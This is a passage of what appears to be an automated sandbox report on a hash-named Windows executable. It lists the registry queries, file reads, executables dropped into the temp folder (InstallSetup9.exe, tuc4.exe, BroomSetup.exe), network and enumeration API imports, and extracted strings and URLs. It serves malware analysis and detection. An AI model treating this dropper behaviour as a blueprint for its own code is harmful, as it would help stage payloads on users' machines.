Key: "MONITORREGISTRY"; Value: "") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOCOMMONGROUPS"; Value: "") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOCOMMONGROUPS"; Value: "") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "ATTRIBUTES"; Value: "") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "FOLDERVALUEFLAGS"; Value: "") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: "{20D04FE0-3AEA-1069-A2D8-08002B30309D}"; Value: "") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\INPROCSERVER32"; Key: ""; Value: "") "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MYCOMPUTER\NAMESPACE"; Key: "VALIDATEREGITEMS"; Value: "")5b:T8ac,"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" reads file "c:\windows\microsoft.net\framework\v4.0.30319\config\machine.config" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll.aux" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.core\31fae3290fad30c31c98651462d22724\system.core.ni.dll.aux" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system\2c3c912ea8f058f9d04c4650128feb3f\system.ni.dll.aux" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" reads file "c:\users\%osuser%\desktop\desktop.ini" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" reads file "c:\users\%osuser%\documents\desktop.ini" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" reads file "c:\users\%osuser%\music\desktop.ini" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" reads file "c:\users\%osuser%\pictures\desktop.ini" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" reads file "c:\users\%osuser%\videos\desktop.ini" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" reads file "c:\users\%osuser%\downloads\desktop.ini" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" reads file "c:\users\%osuser%\onedrive\desktop.ini" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" reads file "c:\users\%osuser%\searches\desktop.ini" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" reads file "c:\users\%osuser%\contacts\desktop.ini" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" reads file "c:\users\%osuser%\favorites\desktop.ini" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" reads file "c:\users\%osuser%\links\desktop.ini" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" reads file "c:\users\%osuser%\saved games\desktop.ini"5c:T49c,"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to touch file "C:\Windows\System32\WOW64LOG.DLL" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to touch file "C:\Windows\SysWOW64\mscoree.dll" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to touch file "C:\Windows\SysWOW64\apphelp.dll" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to touch file "C:\1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to touch file "C:\Windows\SysWOW64\ntdll.dll" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to touch file "C:\Windows\SysWOW64\kernel32.dll" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to touch file "C:\Windows\SysWOW64\KernelBase.dll" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to touch file "C:\Windows\apppatch\sysmain.sdb" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to touch file "C:\Windows\Temp\VxSSL32.dll"5d:Te00,"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\FLTLIB.DLL" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\CLR.DLL" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\MSCORWKS.DLL" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\CLR.DLL" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\MSCORWKS.DLL" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\CLR.DLL" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\VCRUNTIME140_CLR0400.dll" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\UCRTBASE_CLR0400.DLL" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ucrtbase_clr0400.dll" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSCOREE.DLL" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\OLE32.DLL" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ole32.dll" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\Windows\SysWOW64\RPCSS.DLL" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\WINDOWS\system32\rpcss.dll" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\en-US\MSCORRC.DLL" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll"5e:Tc5f,"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\Windows\SysWOW64\MSCOREE.DLL.LOCAL" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\MSCOREE.DLL.local" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\1CA559E6B5928C568FBB4F8DE0BCB564F687774CBC1E1963BA9AF862497F82EB.EXE.CONFIG" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\FUSION.LOCALGAC" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.localgac" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\1CA559E6B5928C568FBB4F8DE0BCB564F687774CBC1E1963BA9AF862497F82EB.EXE.LOG" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe.config" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\288CCCC47BB7F8F4F01#" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\1CA559E6B5928C568FBB4F8DE0BCB564F687774CBC1E1963BA9AF862497F82EB.INI" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.INI" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\InstallSetup9.exe:ZONE.IDENTIFIER" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\InstallSetup9.exe:Zone.Identifier" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe:ZONE.IDENTIFIER" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe:Zone.Identifier" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\tuc4.exe:ZONE.IDENTIFIER" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\tuc4.exe:Zone.Identifier" "InstallSetup9.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\INSTALLSETUP9.EXE.LOCAL"5f:T50a,"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" writes file "c:\users\%osuser%\appdata\local\temp\installsetup9.exe" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" writes file "c:\users\%osuser%\appdata\local\temp\288c47bbc1871b439df19ff4df68f076.exe" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" writes file "c:\users\%osuser%\appdata\local\temp\tuc4.exe" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" writes file "c:\users\%osuser%\appdata\local\microsoft\clr_v4.0_32\usagelogs\1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe.log" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" writes file "%temp%\installsetup9.exe" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" writes file "%temp%\288c47bbc1871b439df19ff4df68f076.exe" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" writes file "%temp%\tuc4.exe" "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" writes file "%localappdata%\microsoft\clr_v4.0_32\usagelogs\1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe.log" "InstallSetup9.exe" writes file "c:\users\%osuser%\appdata\local\temp\broomsetup.exe"60:T472,Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00008600-00000C2B-769552902") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "HttpQueryInfoW" (Indicator: "HttpQueryInfo"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "HttpOpenRequestW" (Indicator: "HttpOpenRequest"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "HttpSendRequestExW" (Indicator: "HttpSendRequest"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "HttpSendRequestW" (Indicator: "HttpSendRequest"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb") Found reference to API "InternetConnectW" (Indicator: "InternetConnect"; File: "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb")61:T5ec,Heuristic match: "o:.mx" Heuristic match: "y.mx" Heuristic match: "rg.fm" Pattern match: "uvf.uof/u_3g@@fa@@;j\zf;?urf\tfuu0fnu" Pattern match: "https://gcc.gnu.org/bugs/" Pattern match: "http://www.mpg123.deusage" Pattern match: "http://www.digicert.com/cps0j0h02,http://crl3.digicert.com/sha2-assured-ts.crl02,http://crl4.digicert.com/sha2-assured-ts.crl0y0w0$http://ocsp.digicert.com0ochttp://cacerts.digicert.com/digicertsha2assuredidtimestampingca.crt0brqtqjxy6z'dwc_#rie9pka$%odigi" Pattern match: "crl.comodoca.com/aaacertificateservices.crl04" Heuristic match: "command.com" Pattern match: "http://www.innosetup.com/" Pattern match: "http://www.remobjects.com/ps" Heuristic match: "%windir%\syswow64\chcp.com" Heuristic match: "%windir%\system32\chcp.com" Heuristic match: "uh.ke" Heuristic match: "font.name" Pattern match: "http://schemas.microsoft.com/smi/2005/windowssettings" Pattern match: "http://www.w3.org/2001/xmlschema-instance" Heuristic match: "5398186770,7264,110,,enumwindows,user32.mv" Heuristic match: "8e^.ws" Heuristic match: "c:\users\hapubws\appdata\local\avi formatter tool\aviformattertool.et" Heuristic match: "sets or retrieves which panel is currently active in the pen input panel.wf" Heuristic match: "specifies the stroke or collection of strokes to remove from the given collection of strokes.ws" Heuristic match: "provides the best tradeoff between save-time and storage for the typical application.ws" Heuristic match: "znd.ua" Heuristic match: "^-.hm"62:T3777,Found URL "http://www.innosetup.com/remobjects" - Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found URL "http://www.remobjects.com/pszyyd_^[y]exception" - Source: "00000000-00001444.00000000.109009.00401000.00000020.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001444.00000000.109009.028F0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001444.00000001.110931.028F0000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=247104.&click" - Source: "00000000-00008552.00000000.108997.05510000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=291337%@font-face" - Source: "00000000-00008552.00000000.108997.05510000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=291257the" - Source: "00000000-00008552.00000000.108997.05510000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=291257.the" - Source: "00000000-00008552.00000000.108997.05510000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=291257.s'<0s>'" - Source: "00000000-00008552.00000000.108997.05510000.00000002.mdmp") Found URL "http://www.w3.org/xml/1998/namespace" - Source: "00000000-00008552.00000000.108997.05510000.00000002.mdmp") Found URL "https://www.msn.com/favicon.icofa445657-9379-11d6-b41a-00065b83ee53" - Source: "00000000-00008552.00000001.110915.02FC0000.00000004.mdmp") Found URL "http://www.virtualbox.orgoracle" - Source: "00000000-00008552.00000001.110915.02FC0000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=215117microsoft" - Source: "00000000-00008552.00000001.110915.02FC0000.00000004.mdmp") Found URL "http://support.microsoft.com/kb/4023057c:\windows\softwaredistribution\download\eb561161694e9fba93423cc2a2678b78\img\update" - Source: "00000000-00008552.00000001.110915.02FC0000.00000004.mdmp") Found URL "http://www.cacetech.comwinpcap" - Source: "00000000-00008552.00000001.110915.02FC0000.00000004.mdmp") Found URL "http://www.autoitscript.com/autoit3autoit" - Source: "00000000-00008552.00000001.110915.02FC0000.00000004.mdmp") Found URL "https://www.wireshark.orgc:\program" - Source: "00000000-00008552.00000001.110915.02FC0000.00000004.mdmp") Found URL "https://ask.wireshark.org/wireshark" - Source: "00000000-00008552.00000001.110915.02FC0000.00000004.mdmp") Found URL "http://www.adobe.com/support/main.htmlc:\windows\installer\" - Source: "00000000-00008552.00000001.110915.02FC0000.00000004.mdmp") Found URL "http://support.microsoft.com/kb/4023057c:\windows\softwaredistribution\download\1eb060e9b9d3cbeb39c83f2a9722294e\img\update" - Source: "00000000-00008552.00000001.110915.02FC0000.00000004.mdmp") Found URL "http://java.com/helpc:\users\hapubws\appdata\locallow\oracle\java\jre1.8.0_161\http://java.comjava" - Source: "00000000-00008552.00000001.110915.02FC0000.00000004.mdmp") Found URL "https://support.mozilla.orgmozilla" - Source: "00000000-00008552.00000001.110915.02FC0000.00000004.mdmp") Found URL "https://npcap.com/" - Source: "00000000-00008552.00000001.110915.02FC0000.00000004.mdmp") Found URL "https://npcap.com/oracle" - Source: "00000000-00008552.00000002.112836.02FC0000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=215117microsoft" - Source: "00000000-00008552.00000002.112836.02FC0000.00000004.mdmp") Found URL "http://support.microsoft.com/kb/4023057c:\windows\softwaredistribution\download\eb561161694e9fba93423cc2a2678b78\img\update" - Source: "00000000-00008552.00000002.112836.02FC0000.00000004.mdmp") Found URL "http://www.cacetech.comwinpcap" - Source: "00000000-00008552.00000002.112836.02FC0000.00000004.mdmp") Found URL "http://www.autoitscript.com/autoit3autoit" - Source: "00000000-00008552.00000002.112836.02FC0000.00000004.mdmp") Found URL "https://www.wireshark.orgc:\program" - Source: "00000000-00008552.00000002.112836.02FC0000.00000004.mdmp") Found URL "https://ask.wireshark.org/wireshark" - Source: "00000000-00008552.00000002.112836.02FC0000.00000004.mdmp") Found URL "http://www.adobe.com/support/main.htmlc:\windows\installer\" - Source: "00000000-00008552.00000002.112836.02FC0000.00000004.mdmp") Found URL "http://support.microsoft.com/kb/4023057c:\windows\softwaredistribution\download\1eb060e9b9d3cbeb39c83f2a9722294e\img\update" - Source: "00000000-00008552.00000002.112836.02FC0000.00000004.mdmp") Found URL "http://java.com/helpc:\users\hapubws\appdata\locallow\oracle\java\jre1.8.0_161\http://java.comjava" - Source: "00000000-00008552.00000002.112836.02FC0000.00000004.mdmp") Found URL "https://support.mozilla.orgmozilla" - Source: "00000000-00008552.00000002.112836.02FC0000.00000004.mdmp") Found URL "https://npcap.com/" - Source: "00000000-00008552.00000002.112836.02FC0000.00000004.mdmp") Found URL "https://npcap.com/>>010,0b1c1115005f5c4e190c06020416111211004f1a110200b1c1115494a5c0203141202020e504510065319025209045100410317190c5653150d02501b141f001a0d01060a52121b130a53030f08110d1453190b1a055b0c0b0a070b1108251m0kd52201f2f18311d572f560b271a020721531729232121351c16372a14042518241f2d0240114093030z250113093030z0,0b1c1115005f5c4e190c06020416111211004f1a110200b1c1115494a5c0203141202020e504510065319025209045100410317190c5653150d02501b141f001a0d01060a52121b130a53030f08110d1453190b1a055b0c0b0a070b1108251m0kd52201f2f18311d572f560b271a020721531729232121351c16372a14042518241f2d0w;w?s(ln50vra&@v(:4&0pqc=%snw<:ti$%&:-" - Source: "00000000-00008600.00000002.112694.0E980000.00000004.mdmp")63:T5a4,Observed import api "WNetCloseEnum" which can "end a network resource enumeration" [Source: is-8EM8Q.tmp] Observed import api "WNetEnumResource" which can "continue an enumeration of network recls.sources" [Source: is-8EM8Q.tmp] Observed import api "WNetGetConnection" which can "retrieve the name of the network resource associated with a local device" [Source: is-8EM8Q.tmp] Observed import api "WNetGetUniversalName" which can "take a drive-based path for a network resource and returns an information structure that contains a more universal form of the name" [Source: is-8EM8Q.tmp] Observed import api "WNetOpenEnum" which can "start an enumeration of network recls.sources or existing connections." [Source: is-8EM8Q.tmp] Observed import api "WNetCloseEnum" which can "end a network resource enumeration" [Source: tuc4.tmp] Observed import api "WNetEnumResource" which can "continue an enumeration of network recls.sources" [Source: tuc4.tmp] Observed import api "WNetGetConnection" which can "retrieve the name of the network resource associated with a local device" [Source: tuc4.tmp] Observed import api "WNetGetUniversalName" which can "take a drive-based path for a network resource and returns an information structure that contains a more universal form of the name" [Source: tuc4.tmp] Observed import api "WNetOpenEnum" which can "start an enumeration of network recls.sources or existing connections." [Source: tuc4.tmp]64:T51a,"BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "c010788" "cx": "1" "cy": "1"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "19010987" "cx": "1" "cy": "1"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "70107ab" "cx": "16" "cy": "16"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "70107ab" "cx": "32" "cy": "16"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "70107ab" "cx": "52" "cy": "39"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "70107ab" "cx": "32" "cy": "32"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "70107ab" "cx": "64" "cy": "16"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "70107ab" "cx": "64" "cy": "64"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "70107ab" "cx": "4800" "cy": "64"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "70107ab" "cx": "320" "cy": "20"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "70107ab" "cx": "5" "cy": "215"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "70107ab" "cx": "320" "cy": "5"}65:Teac,"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "FindNextFileW" with parameter NETFXSBS10.exe (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "FindNextFileW" with parameter netfxsbs12.hkf (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "FindNextFileW" with parameter sbs_diasymreader.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "FindNextFileW" with parameter sbs_iehost.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "FindNextFileW" with parameter sbs_microsoft.jscript.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "FindNextFileW" with parameter sbs_microsoft.vsa.vb.codedomprocessor.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "FindNextFileW" with parameter sbs_mscordbi.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "FindNextFileW" with parameter sbs_mscorrc.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "FindNextFileW" with parameter sbs_mscorsec.dll (UID: 00000000-00008776) "1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe" called "FindNextFileW" with parameter sbs_system.configuration.install.dll (UID: 00000000-00008776) 